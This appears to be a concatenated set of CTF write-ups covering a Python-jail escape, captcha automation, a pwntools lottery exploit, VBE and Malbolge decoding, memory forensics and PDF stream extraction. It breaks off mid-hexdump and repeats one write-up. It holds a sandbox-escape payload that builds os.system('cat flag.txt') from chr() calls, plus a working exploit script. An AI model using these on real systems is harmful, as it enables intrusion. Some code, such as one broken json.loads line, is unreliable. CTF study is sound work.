text_chunk
stringlengths
151
703k
# ProblemWe're stuck in a python jail, and the only way out is by answering questions on a variety of topics. We get only a few characters to help us escape the jail with each correct answer. ![A conole displaying a table of jeopardy categories and dollar values](https://i.imgur.com/xnASd3j.png) ## Part 1 The first thing to do is start answering questions. For the most part, this just requires OSINT. Tantalisingly, one question is worth $10000 (and presumably every character we'll need to break out the "normal" way), but it asks us to find a password that's accidentally typed in a presentation (and we don't actually know where the video is, just that it exists and has to do with UMass Cybersecurity club). For our purposes, these are the interesting questions:* This year will be the next y2k thanks to some data types: 2038* Where was the old honors college located? Orchard Hill* What is the name of the mascot of UMass? Sam* University of Michigan researchers controlled a Google Home from 230 feet away with what? Laser* This was the most popular OS that was used in 2020: ios* The answer to the life, universe, everything? In binary, of course.: 101010* Country that US and Israeli has made multiple worms and malware against? Iran* Movie where tic-tac-toe used to save the world? wargames* Band that was recently threatened to have unreleased music released unless they pay the hackers money: radiohead These nine questions and answers give us enough to work with. ## Part 2 Probe the jailbreak a little bit. You'll notice that it tells you when your code throws an error. So what if we just type "os" (assuming we actually have those characters). There's no error! We don't need to import anything, so we don't need those characters. ## The Break So we are relatively limited in what characters we have, but we really want to run something to the effect of "os.system('ls') (and likely then "os.system('cat flag.txt')"). We *could* spend a few hours of our lives trying to find the video with the password for the $10000 question, but is there a smarter way? Yes, there is. Because although we're restricted in using certain characters, we have the characters: c, h, and r. This is enough to use the 'chr' function in python, which converts a number to an ASCII character. "But wouldn't we then need numbers?" you ask. Normally yes, but we also have 1 and +, which, if we're patient, can be used to make 1+1+1+... to any number we need. ## The CodeI'm not patient enough to manually type out the right number of 1s, so I used code to do it for me. As you collect answers, you can put them into a text file as a list of commands. You then make the last line of that file "jailbreak" to start the jailbreak process. Run the solve_jeopardy.py program and pipe the output into a netcat connection to the host. ### solve_jeopardy.py```with open('jeopardy.txt','r') as answers: for answer in answers: print(answer.strip()) a="os.system('cat flag.txt')"def ones(x): return '+'.join(['1']*ord(x)) print("exec("+'+'.join([f'chr({ones(x)})' for x in a])+")")``` ### jeopardy.txt```readymiscellaneous 100hacktheboxmiscellaneous 200iosmiscellaneous 300101010miscellaneous 4004cybersecurity tomorrow 100quantumcybersecurity tomorrow 2002038cybersecurity tomorrow 300humanscybersecurity tomorrow 400ARMcybersecurity tomorrow 500deepfakescybersecurity yesterday 100captain crunchcybersecurity yesterday 200wargamescybersecurity yesterday 300irancybersecurity yesterday 400reapercybersecurity now 10039cybersecurity now 200lasercybersecurity now 300radioheadcybersecurity now 400microsoftcybersecurity now 500dogumass 100samumass 200diningumass 300franklinumass 400orchard hillumass 500jolly rogerjailbreak```
# UMass CTF 2021 Pikcha Writeup ## Pikcha### DetailsSolves: 153 ### WriteupLogging onto the challenge website, we're greeted with this screen: ![pikcha site image](img/pikcha_site.jpg) When you hit submit, the image changes to a new set of randomly rotated pokemon. From inspection, putting the four pokedex numbers of the pokemon in order incremented the 0/500 to 1/500. Any wrong inputs makes it go back down to 0. I didn't want to sit there entering pokedex numbers for a couple hours, so I looked around the site to see if anything else was vulnerable. The HTML looked fine, but I found a cookie being stored: ```session = eyJhbnN3ZXIiOls1OSw1OSwxMjksMTQ4XSwiY29ycmVjdCI6MCwiaW1hZ2UiOiIuL3N0YXRpYy9jaGFsbC1pbWFnZXMvSlFBT3lUckx2dy5qcGcifQ.YGEO1w.alLsGJMLYwQBrc6ZKH3xrhhSTps``` It seemed like it was base64 encoded, and sure enough after decoding we got: ```session = {"answer":[59,59,129,148],"correct":0,"image":"./static/chall-images/JQAOyTrLvw.jpg"}???ípjRì?“?c??­Î™(}ñ®?RN›``` Initially, I tried just setting `correct` to 500, but that seemed to result in errors, so I switched focus to the `answer` array. And sure enough, the four numbers given were the correct input for the given image. With this information it was pretty easy to write a script to extract the answer from the cookie and submit it: ```url = "http://104.197.195.221:8084/"r = requests.get(url)cookie = r.cookies.items()[0][1]cookie = cookie.split(".")[0].encode('ascii') + b'==='ans = json.loads().decode('ascii'))["answer"]ans = str(ans[0]) + " " + str(ans[1]) + " " + str(ans[2]) + " " + str(ans[3])data = {'guess': ans}r = requests.post(url, data=data, cookies = r.cookies)``` Do this 500 times, and you get the flag from the request: `UMASS{G0tt4_c4tch_th3m_4ll_17263548}` ## Pikcha2### DetailsSolves: 10 No more mistakes! No we'll see who's the best pokemon master out there! ### WriteupLogging into the site this time we're greeted with the same thing: ![pikcha site image](img/pikcha_site.jpg) This time, however, the cookie isn't useful: ```session = c21573b6-c453-4857-bf4a-fc29225fadc1``` This looks like a [uuid](https://docs.python.org/3/library/uuid.html), which isn't going to be of any help to us. I probably could've dome some more inspection, but there was discussion on the discord about how the only 2 ways to solve this challenge was computer vision and by hand, so I decided to try out the CV route. First, we have to extract the image from the web page. This could be done pretty easily by recycling our old code. The HTML was pretty simple, so I just searched through the html text as a string to find the path to the image, and downloaded it: ```url = "http://104.197.195.221:8085/"r = requests.get(url)img_path = r.text[r.text.find('./static/chall-images')+2:(r.text.find('.jpg')+4)]img_url = url + img_pathimg_data = requests.get(img_url).contentwith open('img.jpg', 'wb') as handler: handler.write(img_data)``` Which gives us the image: ![pokemon image](img/pokemon.jpg) Next up, in order to actually analyze the pokemon images we had to split them into their own images. I did this by just cutting the image into 4 parts horizontally: ```img = cv2.imread('img.jpg', cv2.IMREAD_GRAYSCALE)im_x = img.shape[1]im_y = img.shape[0] cut1 = int(im_x/4)cut2 = int(im_x/2)cut3 = int(3*im_x/4) p1 = img[0:im_y, 0:cut1]p2 = img[0:im_y, cut1:cut2]p3 = img[0:im_y, cut2:cut3]p4 = img[0:im_y, cut3:im_x] mon = [p1, p2, p3, p4]``` To identify the pokemon, I decided to use opencv's built in feature matching software. Specifically, SIFT to identify features and FLANN to match the features between images. I got the set of images from [this helpful website](https://veekun.com/dex/downloads) which had sprite packs of all the gen 1-5 games. After comparing sprites, I found that the ones being used were from gen 1 (Pokemon Crystal). The images were already labeled by pokedex number, so all I had to do was match the given pokemon to it's corresponding image! I wrote a quick script then that initialzes SIFT and FLANN, and identifies matching features for a given image pair: ```#grab the sprite of the ith pokemoncmpp = cv2.imread("1.png")kp1, des1 = sift.detectAndCompute(p,None)kp2, des2 = sift.detectAndCompute(cmpp,None)FLANN_INDEX_KDTREE = 1index_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 7)search_params = dict(checks=50) # or pass empty dictionaryflann = cv2.FlannBasedMatcher(index_params,search_params)matches = flann.knnMatch(des1,des2,k=2)matches_num = 0for k,(m,n) in enumerate(matches): if m.distance < 0.7*n.distance: matches_num += 1``` With this, we can iterate over all the pokemon sprites, and find the one that has the highest amount of matching features. That would be the correct pokemon. Doing this for each pokemon image given would allow us to get the correct input. ```#Loop for each pokemon for j, p in enumerate(mon): pmatches = [None]*151 # Loop for each gen 1 pokemon to compare against for i in range(151): #grab the sprite of the ith pokemon cmpp = cv2.imread("gray/" + str(i+1) + ".png") # find the keypoints and descriptors with SIFT kp1, des1 = sift.detectAndCompute(p,None) kp2, des2 = sift.detectAndCompute(cmpp,None) # FLANN parameters FLANN_INDEX_KDTREE = 1 index_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 7) search_params = dict(checks=50) # or pass empty dictionary flann = cv2.FlannBasedMatcher(index_params,search_params) matches = flann.knnMatch(des1,des2,k=2) matches_num = 0 # ratio test as per Lowe's paper # if the feature passes the test, we consider the a match and increment the number of matches for k,(m,n) in enumerate(matches): if m.distance < 0.7*n.distance: matches_num += 1 pmatches[i] = matches_num # Find the pokemon that had the highest number of matches, and get it's pokedex number pnums[j] = pmatches.index(max(pmatches))+1 # Construct our guess and the response ans = str(pnums[0]) + " " + str(pnums[1]) + " " + str(pnums[2]) + " " + str(pnums[3]) data = {'guess': ans} r = requests.post(url, data=data, cookies = r.cookies) print(b, "guess:", ans)``` I set the program to run, and it actually worked! I was surprised that the feature matching worked so well out of the box. However, I noticed that after about 40-50 or so succesful submissions, the guess would fail. After some investigation, it seemed that the matching was failing for some of the smaller pokemon (diglett, poliwag, horsea). When I split the image up, it seemed that it wasn't splitting it perfectly for the smaller pokemon, and some of the other pokemon were cropped into their image. Initially, I tried replacing those pokemon's image in with the one that I had extracted from the challenge, but that only seemed to provide temporary stability. The main problem was that for some reason, the images were variable width. I had figured that each sprite would have the same footprint, regardless of size, but they actually change size. This is especially apparent for the smaller pokemon. Thus, when I split the image into quarters, I was cutting off certain pokemon and adding clutter to other images. To fix this, I wanted to detect the vertical whitespace between the pokemon: ![pokemon image with lines](img/pokemon_lines.jpg) Because the image was noisy, I had to settle for finding the maximum amount of whitespace. I did this by summing the pixels vertically (I subtracted the values in the images to make it easier for me to read). I also had to specify where to look for these strips: ```vert_sum = [sum(255 - img[0:im_y, x]) for x in range(im_x)]cut = [0, None, None, None, im_x] # Calculate the regions to look for the maximum whitespace stripcut_off1 = int(im_x/8)cut_off2 = int(3*im_x/8)cut_off3 = int(5*im_x/8)cut_off4 = int(7*im_x/8) cut[1] = vert_sum[cut_off1:cut_off2].index(min(vert_sum[cut_off1:cut_off2])) + cut_off1cut[2] = vert_sum[cut_off2:cut_off3].index(min(vert_sum[cut_off2:cut_off3])) + cut_off2cut[3] = vert_sum[cut_off3:cut_off4].index(min(vert_sum[cut_off3:cut_off4])) + cut_off3``` However, this actually decreased accuracy. This is because it's susceptable to the same problem I was trying to solve; If there's an especially small pokemon, the regions that I'm looking for will shift, resulting in strips of 1-pixel wide whitespace being selected as a pokemon. I've drawn an exaggerated example below, where the blue lines are the region boundaries, and the red lines are the selected cut points: ![pokemon image with lines and boundaries](img/pokemon_lines_quad.jpg) The easiest fix I saw to this was to just recalculate the border points every time you cut the image. I've drawn another exaggerated example below, where the blue lines are the original borders, the green are the borders after the first cut, and the purple are the borders after the second cut. ![pokemon image with lines and boundaries but fixed](img/pokemon_lines_quad_fixed.jpg) ```# Find the first cut pointcut_off1 = int(im_x/8)cut_off2 = int(3*im_x/8)cut[1] = vert_sum[cut_off1:cut_off2].index(min(vert_sum[cut_off1:cut_off2])) + cut_off1 # Recalculate the regions where we're looking for the cut points, and then find the second onecut_off2 = int(1*(im_x-cut[1])/6) + cut[1]cut_off3 = int(3*(im_x-cut[1])/6) + cut[1]cut_off4 = int(5*(im_x-cut[1])/6) + cut[1]cut[2] = vert_sum[cut_off2:cut_off3].index(min(vert_sum[cut_off2:cut_off3])) + cut_off2 # Recalculate the region again, and find the third cut pointcut_off3 = int(1*(im_x-cut[2])/4) + cut[2]cut_off4 = int(3*(im_x-cut[2])/4) + cut[2]cut[3] = vert_sum[cut_off3:cut_off4].index(min(vert_sum[cut_off3:cut_off4])) + cut_off3``` This fix dramatically increased stability, and allowed us to complete all 500 rounds of the challenge, giving us the flag: `UMASS{1ts_m3_4nd_y0u!!P0k3m0n}`. I'm sure there was a better way to fix this last issue, and there's still a ton of tuning left to do to improve stability, but overall I'm happy with what I've learned.
We are given the following string: D'`r#LK\[}{{EUUTet,r*qo'nmlk5ihVB0S!>w<<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMRQJn1MLKJCg*)ED=a$:?>7[;:981w/4-,P*p(L,%*)"!~}CB"!~}_uzs9wpotsrqj0Qmfkdcba'H^]\[Z~^W?[TSRWPt7MLKo2NMFj-IHG@dD&<;@?>76Z{9276/.R21q/.-&J*j(!E%$d"y?`_{ts9qpon4lTjohg-eMihg`&^cb[!_X@VzZ<RWVOTSLpP2HMFEDhBAFE>=BA:^8=6;:981Uvu-,10/(Lm%*)(!~D1 OSINT tells us that eighth circle is a refference to the Malbolge esoteric programming languageFound an interpreter online at https://hackingresources.com/ciphertextctf-v2-writeups/got the flag : flag{bf201f669b8c4adf8b91f09165ec8c5c}
# Rigged lottery Solving this task requires chaining two bugs – binary and logical.There is an easy way to get money: we can bet a negative number of coins and so get rich when we lose. This issue is shown on the Figure 1. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-33-27.png) Figure 1 – Vulnerability in the binary Then, in the claim function, we see that the flag gets XORed with the lucky number. We can set it with \x00 using the generate function, as strcpy puts \00 after the buffer. Vulnerable function is shown on the Figure 3. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-33-55.png)Figure 2 – Vulnerable function in the binary If we send consequent values from 32 to 0, the buffer will be nulled, and we'll get the plain flag.The final exploit: ```Pythonfrom pwn import *io = remote("docker.hackthebox.eu", 30321)for i in range(32, -1, -1): io.recvuntil("Exit.") io.sendline('1') io.recvuntil(":") io.sendline(f'{i}')io.recvuntil("Exit.")io.sendline('2')io.recvuntil("?")io.sendline(f'-100')io.recvuntil("Exit.")io.sendline('3')print(io.recvall())``` The result of the exploit execution can be seen on the Figure 3. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-34-08.png) Figure 3 – Result of the exploit and the flag Flag: HTB{strcpy_0nly_c4us3s_tr0ubl3!}.
Buzz buzz, can you find the honey? file: veebee.vbe VBE is encrypted VBS. Using https://master.ayra.ch/vbs/vbs.aspx or https://github.com/DidierStevens/DidierStevensSuite/blob/master/decode-vbe.py we can decrypt it. From the first link we see: The content should start with #@~^XXXXXX== and end with ==^#~@ plus a "null" char, which is not visible in most editors. Looking at the file, we have two scripts and some garbage at the start. Splitting the two scripts into different files and running through the decode produces the flag in the second vbe script. Flag: flag{f805593d933f5433f2a04f082f400d8c}
First, we check the operating system info by using the imageinfo plugin of Volatility. ![](https://gblobscdn.gitbook.com/assets%2F-MVw2QOHRnhlz6xSbdyk%2F-MWlraE1qFRzTsXfF0DI%2F-MWqFaGSiqJy4B3z02t5%2Fimage.png?alt=media&token=db7fea1c-4749-4f25-aa0d-a79d89996ae9http://) Listing the running processes on the image we can see the notepad application's process. And the challenge name leads me to believe that the notepad application is the one we need to check out. Now all we have to do is find the name of the file open on Notepad and read its contents. Volatility2 has a couple of plugins for finding the open files and dumping their contents: filescan and dumpfiles. Dumping the contents of the passwords.txt file, we can see that it is base64 encoded and decoding it gives the flag. ![](https://gblobscdn.gitbook.com/assets%2F-MVw2QOHRnhlz6xSbdyk%2F-MWlraE1qFRzTsXfF0DI%2F-MWqJ6so-j40EMCPKB0O%2Fimage.png?alt=media&token=effde10f-50a1-4624-a19a-006e9ee52420http://) [Original writeup](https://fubswr55.gitbook.io/ctf/umassctf-21) (https://fubswr55.gitbook.io/ctf/umassctf-21)
# War and Pieces## The Problem We are given a photo of some toy soldiers of varying colours and poses, and an instruction that there’s nothing in the EXIF data. ![Toy soldiers of varying colours and poses](https://i.imgur.com/oW1FUcQ.png) All signs seem to point to the code existing in the actual soldiers themselves. One of the soliders is even turned around to face backwards. But what could the code actually be? ## Theory 1: Binary? Maybe the colours are binary? Well, that seems to break down for a few reasons. We would expect to be receiving code in bytes, and there is one row with two instead of eight bits. Also, if we were receiving it in bytes, we would probably expect all the leading bits to be 0 (because all the normal printable characters are on the lower half of the ASCII table) I thought at this point that maybe each figure has its own binary value associated with it -- for instance, there are five or six different poses, so that could be encoded in three bits, and then the colour of the figure could be one bit. This would then give some binary code to work with. ## Theory 2: Wait, is there a quicker way? After starting the process of painstakingly encoding this way, I realised I could just count the figures and assign them a code for where they first appear in the photo, and then do the encoding afterwards ![The same toy soldiers of varying colours and poses, now with numbers on them](https://i.imgur.com/k7av98Q.png) (There are actually two mistakes on the second last row -- it should read 6 7 6 12 4 1 8 4. Both of these are fixed in the text file at the bottom of the writeup.) ## Pattern RecognitionAfter encoding in this way, some patterns became obvious: there is a repeat of the 04 04, which would be consistent with being the repeating Ss in the UMASS{flag_here} format. We also see that the two curly braces have the same leading digit, an 8. This makes sense because they’re next to each other on the ASCII table. If we look through all our leading digits, there is a set of only five unique digits. This is consistent with being an ASCII encoding. We also see that we have more than 10 unique encodings, so we’re probably looking at hex values. ## Code BreakingSo what is the code we’re looking at here? Each individual soldier corresponds to a unique hex value. Each pair of soldiers is a pair of hex values, which can be converted to a printable character. By counting them in the way we’ve counted, we have substituted all the hex values, so they’re all jumbled up. With a bit of code, we can cross-reference the ones we know to be true with the ones we still need. We don’t actually have enough information yet to magically bring a flag into existence. But we can write some code that prints out all the possible flags with the information that we have. We can edit line 10 to change parts that we’re more confident about. ## Tying up loose observationsThere’s a few observations to follow here: Remember how we first observed that our leading digits are in a set of size 5? We said that was because they’re likely in the regular ASCII range. Let’s print out the mappings of all the leading hexcodes so far (this is already in the code). We see that 6’s mapping isn’t revealed yet. We also see that the new mappings for our other four possible leading hexcodes are 3, 4, 5, and 7.That would just leave 6 as a possible mapping for regular ASCII characters. Let’s put in a line that updates our dictionary to always map 6 to 6. We should now only see the expected English ASCII characters in our flag options. Aha! Now we have a lot fewer unprintable characters. If we run again, we can see that there’s really only one obvious delimiter that stands out, and that’s the underscore (although I did think maybe the colon was spelling something like “ifiXt:vXs:il4s” for a little while.) ## The Home StretchWe see that the underscore appears as the 4th and 8th character of some of the strings. We can edit the underscore into the string on line 10, and we’ll now have only those lines appear. And what do you know, a word suddenly leaps out from the list at the end of the flag! If we look through our options, we see s0lj4s at least once, (which sounds like soldiers). So we change the control string to now read s0lj4s, and hit run. We get a strange gibberish string: UMASS{lfl_t0v_s0lj4s}. That is our only option. Now, we might think “Oh, it should be a y there instead of a v”, but the way the code is written, it will just write the y back to being a v anyway. So, this is the flag. (It turns out that there is an error in the original photo because two different hexcodes were encoded using the same figure. The flag is supposed to be UMASS{lil_t0y_s0lj4s). I leave it as an exercise for the reader to check their understanding by determining which two figures were incorrect.) # Files## Code written in python3```import itertools a=[] with open('army.txt','r') as savefile: for line in savefile: a.append(line.strip()) # Edit the Zs in this string to be something we know appears in that position.b= "UMASS{ZZZZZZZZZZZZZZ}" # Takes the hex values from our .txt file input and saves it in a dictionary# that maps it to the hex values of the characters in the string.substitution_dict={}for x,y in zip(a,b): if y != "Z": for i,j in zip(x,hex(ord(y))[2:]): substitution_dict[i] = j print(substitution_dict)# Prints out all the LEADING digits, and whether they currently have a mapping.for x in set(p[0] for p in a): if x not in substitution_dict: print(x) else:print(x,substitution_dict[x],"good") # Prepare all the hex values that are found in the original, but aren't# found in the current dictionary.used_hex = set()for x in a: used_hex |= set(x)allhex=set([hex(x)[2] for x in range(16)])e=list(used_hex-set(substitution_dict.keys()))f=list(allhex-set(substitution_dict.values())) # Iterate through all the possible mappings.for com in itertools.permutations(f,len(e)): substitution_dict.update(dict(zip(e,com))) new_array = [] for char in a: s = "" for p in char: s += substitution_dict[p] new_array.append(s) try: print("".join([chr(int(x,16)) for x in new_array])) except UnicodeEncodeError: pass ``` ## army.txt input file```00121304048567666709814a8609844a676c418482```
# UMass CTF 2021 Pikcha Writeup ## Pikcha### DetailsSolves: 153 ### WriteupLogging onto the challenge website, we're greeted with this screen: ![pikcha site image](img/pikcha_site.jpg) When you hit submit, the image changes to a new set of randomly rotated pokemon. From inspection, putting the four pokedex numbers of the pokemon in order incremented the 0/500 to 1/500. Any wrong inputs makes it go back down to 0. I didn't want to sit there entering pokedex numbers for a couple hours, so I looked around the site to see if anything else was vulnerable. The HTML looked fine, but I found a cookie being stored: ```session = eyJhbnN3ZXIiOls1OSw1OSwxMjksMTQ4XSwiY29ycmVjdCI6MCwiaW1hZ2UiOiIuL3N0YXRpYy9jaGFsbC1pbWFnZXMvSlFBT3lUckx2dy5qcGcifQ.YGEO1w.alLsGJMLYwQBrc6ZKH3xrhhSTps``` It seemed like it was base64 encoded, and sure enough after decoding we got: ```session = {"answer":[59,59,129,148],"correct":0,"image":"./static/chall-images/JQAOyTrLvw.jpg"}???ípjRì?“?c??­Î™(}ñ®?RN›``` Initially, I tried just setting `correct` to 500, but that seemed to result in errors, so I switched focus to the `answer` array. And sure enough, the four numbers given were the correct input for the given image. With this information it was pretty easy to write a script to extract the answer from the cookie and submit it: ```url = "http://104.197.195.221:8084/"r = requests.get(url)cookie = r.cookies.items()[0][1]cookie = cookie.split(".")[0].encode('ascii') + b'==='ans = json.loads().decode('ascii'))["answer"]ans = str(ans[0]) + " " + str(ans[1]) + " " + str(ans[2]) + " " + str(ans[3])data = {'guess': ans}r = requests.post(url, data=data, cookies = r.cookies)``` Do this 500 times, and you get the flag from the request: `UMASS{G0tt4_c4tch_th3m_4ll_17263548}` ## Pikcha2### DetailsSolves: 10 No more mistakes! No we'll see who's the best pokemon master out there! ### WriteupLogging into the site this time we're greeted with the same thing: ![pikcha site image](img/pikcha_site.jpg) This time, however, the cookie isn't useful: ```session = c21573b6-c453-4857-bf4a-fc29225fadc1``` This looks like a [uuid](https://docs.python.org/3/library/uuid.html), which isn't going to be of any help to us. I probably could've dome some more inspection, but there was discussion on the discord about how the only 2 ways to solve this challenge was computer vision and by hand, so I decided to try out the CV route. First, we have to extract the image from the web page. This could be done pretty easily by recycling our old code. The HTML was pretty simple, so I just searched through the html text as a string to find the path to the image, and downloaded it: ```url = "http://104.197.195.221:8085/"r = requests.get(url)img_path = r.text[r.text.find('./static/chall-images')+2:(r.text.find('.jpg')+4)]img_url = url + img_pathimg_data = requests.get(img_url).contentwith open('img.jpg', 'wb') as handler: handler.write(img_data)``` Which gives us the image: ![pokemon image](img/pokemon.jpg) Next up, in order to actually analyze the pokemon images we had to split them into their own images. I did this by just cutting the image into 4 parts horizontally: ```img = cv2.imread('img.jpg', cv2.IMREAD_GRAYSCALE)im_x = img.shape[1]im_y = img.shape[0] cut1 = int(im_x/4)cut2 = int(im_x/2)cut3 = int(3*im_x/4) p1 = img[0:im_y, 0:cut1]p2 = img[0:im_y, cut1:cut2]p3 = img[0:im_y, cut2:cut3]p4 = img[0:im_y, cut3:im_x] mon = [p1, p2, p3, p4]``` To identify the pokemon, I decided to use opencv's built in feature matching software. Specifically, SIFT to identify features and FLANN to match the features between images. I got the set of images from [this helpful website](https://veekun.com/dex/downloads) which had sprite packs of all the gen 1-5 games. After comparing sprites, I found that the ones being used were from gen 1 (Pokemon Crystal). The images were already labeled by pokedex number, so all I had to do was match the given pokemon to it's corresponding image! I wrote a quick script then that initialzes SIFT and FLANN, and identifies matching features for a given image pair: ```#grab the sprite of the ith pokemoncmpp = cv2.imread("1.png")kp1, des1 = sift.detectAndCompute(p,None)kp2, des2 = sift.detectAndCompute(cmpp,None)FLANN_INDEX_KDTREE = 1index_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 7)search_params = dict(checks=50) # or pass empty dictionaryflann = cv2.FlannBasedMatcher(index_params,search_params)matches = flann.knnMatch(des1,des2,k=2)matches_num = 0for k,(m,n) in enumerate(matches): if m.distance < 0.7*n.distance: matches_num += 1``` With this, we can iterate over all the pokemon sprites, and find the one that has the highest amount of matching features. That would be the correct pokemon. Doing this for each pokemon image given would allow us to get the correct input. ```#Loop for each pokemon for j, p in enumerate(mon): pmatches = [None]*151 # Loop for each gen 1 pokemon to compare against for i in range(151): #grab the sprite of the ith pokemon cmpp = cv2.imread("gray/" + str(i+1) + ".png") # find the keypoints and descriptors with SIFT kp1, des1 = sift.detectAndCompute(p,None) kp2, des2 = sift.detectAndCompute(cmpp,None) # FLANN parameters FLANN_INDEX_KDTREE = 1 index_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 7) search_params = dict(checks=50) # or pass empty dictionary flann = cv2.FlannBasedMatcher(index_params,search_params) matches = flann.knnMatch(des1,des2,k=2) matches_num = 0 # ratio test as per Lowe's paper # if the feature passes the test, we consider the a match and increment the number of matches for k,(m,n) in enumerate(matches): if m.distance < 0.7*n.distance: matches_num += 1 pmatches[i] = matches_num # Find the pokemon that had the highest number of matches, and get it's pokedex number pnums[j] = pmatches.index(max(pmatches))+1 # Construct our guess and the response ans = str(pnums[0]) + " " + str(pnums[1]) + " " + str(pnums[2]) + " " + str(pnums[3]) data = {'guess': ans} r = requests.post(url, data=data, cookies = r.cookies) print(b, "guess:", ans)``` I set the program to run, and it actually worked! I was surprised that the feature matching worked so well out of the box. However, I noticed that after about 40-50 or so succesful submissions, the guess would fail. After some investigation, it seemed that the matching was failing for some of the smaller pokemon (diglett, poliwag, horsea). When I split the image up, it seemed that it wasn't splitting it perfectly for the smaller pokemon, and some of the other pokemon were cropped into their image. Initially, I tried replacing those pokemon's image in with the one that I had extracted from the challenge, but that only seemed to provide temporary stability. The main problem was that for some reason, the images were variable width. I had figured that each sprite would have the same footprint, regardless of size, but they actually change size. This is especially apparent for the smaller pokemon. Thus, when I split the image into quarters, I was cutting off certain pokemon and adding clutter to other images. To fix this, I wanted to detect the vertical whitespace between the pokemon: ![pokemon image with lines](img/pokemon_lines.jpg) Because the image was noisy, I had to settle for finding the maximum amount of whitespace. I did this by summing the pixels vertically (I subtracted the values in the images to make it easier for me to read). I also had to specify where to look for these strips: ```vert_sum = [sum(255 - img[0:im_y, x]) for x in range(im_x)]cut = [0, None, None, None, im_x] # Calculate the regions to look for the maximum whitespace stripcut_off1 = int(im_x/8)cut_off2 = int(3*im_x/8)cut_off3 = int(5*im_x/8)cut_off4 = int(7*im_x/8) cut[1] = vert_sum[cut_off1:cut_off2].index(min(vert_sum[cut_off1:cut_off2])) + cut_off1cut[2] = vert_sum[cut_off2:cut_off3].index(min(vert_sum[cut_off2:cut_off3])) + cut_off2cut[3] = vert_sum[cut_off3:cut_off4].index(min(vert_sum[cut_off3:cut_off4])) + cut_off3``` However, this actually decreased accuracy. This is because it's susceptable to the same problem I was trying to solve; If there's an especially small pokemon, the regions that I'm looking for will shift, resulting in strips of 1-pixel wide whitespace being selected as a pokemon. I've drawn an exaggerated example below, where the blue lines are the region boundaries, and the red lines are the selected cut points: ![pokemon image with lines and boundaries](img/pokemon_lines_quad.jpg) The easiest fix I saw to this was to just recalculate the border points every time you cut the image. I've drawn another exaggerated example below, where the blue lines are the original borders, the green are the borders after the first cut, and the purple are the borders after the second cut. ![pokemon image with lines and boundaries but fixed](img/pokemon_lines_quad_fixed.jpg) ```# Find the first cut pointcut_off1 = int(im_x/8)cut_off2 = int(3*im_x/8)cut[1] = vert_sum[cut_off1:cut_off2].index(min(vert_sum[cut_off1:cut_off2])) + cut_off1 # Recalculate the regions where we're looking for the cut points, and then find the second onecut_off2 = int(1*(im_x-cut[1])/6) + cut[1]cut_off3 = int(3*(im_x-cut[1])/6) + cut[1]cut_off4 = int(5*(im_x-cut[1])/6) + cut[1]cut[2] = vert_sum[cut_off2:cut_off3].index(min(vert_sum[cut_off2:cut_off3])) + cut_off2 # Recalculate the region again, and find the third cut pointcut_off3 = int(1*(im_x-cut[2])/4) + cut[2]cut_off4 = int(3*(im_x-cut[2])/4) + cut[2]cut[3] = vert_sum[cut_off3:cut_off4].index(min(vert_sum[cut_off3:cut_off4])) + cut_off3``` This fix dramatically increased stability, and allowed us to complete all 500 rounds of the challenge, giving us the flag: `UMASS{1ts_m3_4nd_y0u!!P0k3m0n}`. I'm sure there was a better way to fix this last issue, and there's still a ton of tuning left to do to improve stability, but overall I'm happy with what I've learned.
# Chicken - UMassCTF '21Chicken Chicken Chicken: Chicken Chicken? A forensics category challenge all about extracting hidden streams in a PDF file and 7-Zip password cracking. ## Investigating the mystery PDF File - We're given a modified PDF file of the infamous research paper, "Chicken Chicken Chicken: Chicken Chicken", by Doug Zongker at the University of Washington. [chicken.pdf](https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F1265e1d3-f480-4881-a1f6-b188cdc8701e%2Fchicken.pdf?table=block&id=217d1ee6-a5ff-47aa-9518-b9cd4305949d) ![https://i.imgur.com/jBSJVNH.png](https://i.imgur.com/jBSJVNH.png) - Since we know this is a published research paper, we can download a copy of the [original PDF file](https://isotropic.org/papers/chicken.pdf) and compare the two for any difference: ![https://i.imgur.com/bE2dmRu.png](https://i.imgur.com/bE2dmRu.png) - We see that at around line 202, there is an extra OpenAction object inserted into the document, with a data stream beginning with `7z`:   `$ hexdump -C chicken.pdf | grep 7z -A 11` ``` 00001980 0d 0a 37 7a bc af 27 1c 00 04 2b 65 00 6c 30 00 |..7z..'...+e.l0.| 00001990 00 00 00 00 00 00 6a 00 00 00 00 00 00 00 4c 6a |......j.......Lj| 000019a0 b9 1e 0c fd be 4f 3b 93 39 58 52 bd 23 ea 0b 2d |.....O;.9XR.#..-| 000019b0 8d d1 a2 79 55 0b d8 05 68 43 0d ae 06 d5 2d f8 |...yU...hC....-.| 000019c0 25 ff b4 16 8d 21 3b 88 16 35 44 69 6d 5c 0e 59 |%....!;..5Dim\.Y| 000019d0 a7 b3 01 04 06 00 01 09 30 00 07 0b 01 00 02 24 |........0......$| 000019e0 06 f1 07 01 0a 53 07 56 f2 43 9d 21 42 28 ae 21 |.....S.V.C.!B(.!| 000019f0 21 01 00 01 00 0c 29 25 00 08 0a 01 4e 5d 1c 8e |!.....)%....N]..| 00001a00 00 00 05 01 19 09 00 00 00 00 00 00 00 00 00 11 |................| 00001a10 0f 00 73 00 65 00 63 00 72 00 65 00 74 00 00 00 |..s.e.c.r.e.t...| 00001a20 19 04 00 00 00 00 14 0a 01 00 80 33 4a 2c b7 1d |...........3J,..| 00001a30 d7 01 15 06 01 00 20 80 a4 81 00 00 0a 65 6e 64 |...... ......end| ``` - The data stream starts with the 7z magic bytes, confirming that it is indeed a 7z file: [List of file signatures - Wikipedia](https://en.wikipedia.org/wiki/List_of_file_signatures) ![https://i.imgur.com/99riFle.png](https://i.imgur.com/99riFle.png) - Let's extract the stream with a bit of Bash-fu to a `chicken.hex` file:   `$ hexdump -C chicken.pdf | grep 7z -A 11 | cut -d ' ' -f3- | rev | cut -d ' ' -f3- | rev > chicken.hex` ``` 0d 0a 37 7a bc af 27 1c 00 04 2b 65 00 6c 30 00 00 00 00 00 00 00 6a 00 00 00 00 00 00 00 4c 